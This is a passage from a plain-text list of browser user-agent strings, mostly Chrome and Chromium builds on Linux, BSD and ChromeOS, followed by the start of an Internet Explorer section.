Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/10.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.04 Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.04 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.19 (KHTML, like Gecko) Ubuntu/11.10 Chromium/18.0.1025.142 Chrome/18.0.1025.142 Safari/535.19 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.824.0 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.10 Chromium/14.0.808.0 Chrome/14.0.808.0 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1042.0 Safari/535.21 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.04 Chromium/15.0.871.0 Chrome/15.0.871.0 Safari/535.2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 Safari/534.10 Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.341 Safari/534.10 Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.343 Safari/534.10 Mozilla/5.0 (X11; U; CrOS i686 0.9.130; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.344 Safari/534.10 Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Mozilla/5.0 (X11; U; Linux armv7l; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Mozilla/5.0 (X11; U; Linux i586; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.205.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.0 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.8 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.2 Safari/533.4 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.551.0 Safari/534.10 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.579.0 Safari/534.12 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.44 Safari/534.13 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/9.10 Chromium/9.0.592.0 Chrome/9.0.592.0 Safari/534.13 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.612.1 Safari/534.15 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.04 Chromium/10.0.612.3 Chrome/10.0.612.3 Safari/534.15 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.611.0 Chrome/10.0.611.0 Safari/534.15 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.416.0 Safari/534.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 SUSE/6.0.428.0 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.457.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.24 Safari/534.7 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.576.0 Safari/534.12 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.3 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.7 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.1 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.308.0 Safari/532.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.368.0 Safari/533.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.544.0 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.200 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1333515017.9196 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416664997.4379 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416670950.695 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416748405.3871 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416758524.9051 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Ubuntu/10.10 Chromium/9.0.600.0 Chrome/9.0.600.0 Safari/534.14 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.82 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.127 Chrome/10.0.648.127 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 SUSE/10.0.626.0 (KHTML, like Gecko) Chrome/10.0.626.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.417.0 Safari/534.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.470.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML,like Gecko) Chrome/9.1.0.0 Safari/540.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/8.1.0.0 Safari/540.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.15) Gecko/20101027 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; fr-FR) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3 Mozilla/5.0 (X11; U; Slackware Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.30 Safari/532.5 Mozilla/5.0 (X11; U; Windows NT 6; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.587.0 Safari/534.12 Mozilla/5.0 (X11; U; x86_64 Linux; en_GB, en_US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 Chrome/2.0.172.6 Safari/530.7 Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.7 Mozilla/6.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 # Microsoft Internet Explorer Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0) Mozilla/4.0 (Compatible; MSIE 4.0) Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 4.01; Windows 95) Mozilla/4.0 (compatible; MSIE 4.01; Windows 98) Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; DigExt) Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; PPC) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 176x220) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint;PPC-i830; PPC; 240x320) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:PPC-i830; PPC; 240x320) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i320; Smartphone; 176x220) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint; SCH-i830; PPC; 240x320) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i830; PPC; 240x320) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip320; Smartphone; 176x220) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip830w; PPC; 240x320) Mozilla/4.0 (compatible; MSIE 4.01; Windows NT) Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 4.0; Windows 95) Mozilla/4.0 (compatible; MSIE 4.0; Windows 95; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 4.0; Windows 98) Mozilla/4.0 (compatible; MSIE 4.0; Windows NT) Mozilla/4.0 (compatible; MSIE 4.5; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 4.5; Windows 98;) Mozilla/4.0 (compatible; MSIE 4.5; Windows NT 5.1; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 5.00; Windows 98) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MSIECrawler) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Q312461) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Q312461; T312461) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.1) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.3; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.6) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.0.0; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; Hotbar 4.2.8.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; MSIECrawler) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; DigExt) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; .NET CLR 1.0.3705) Mozilla/4.0 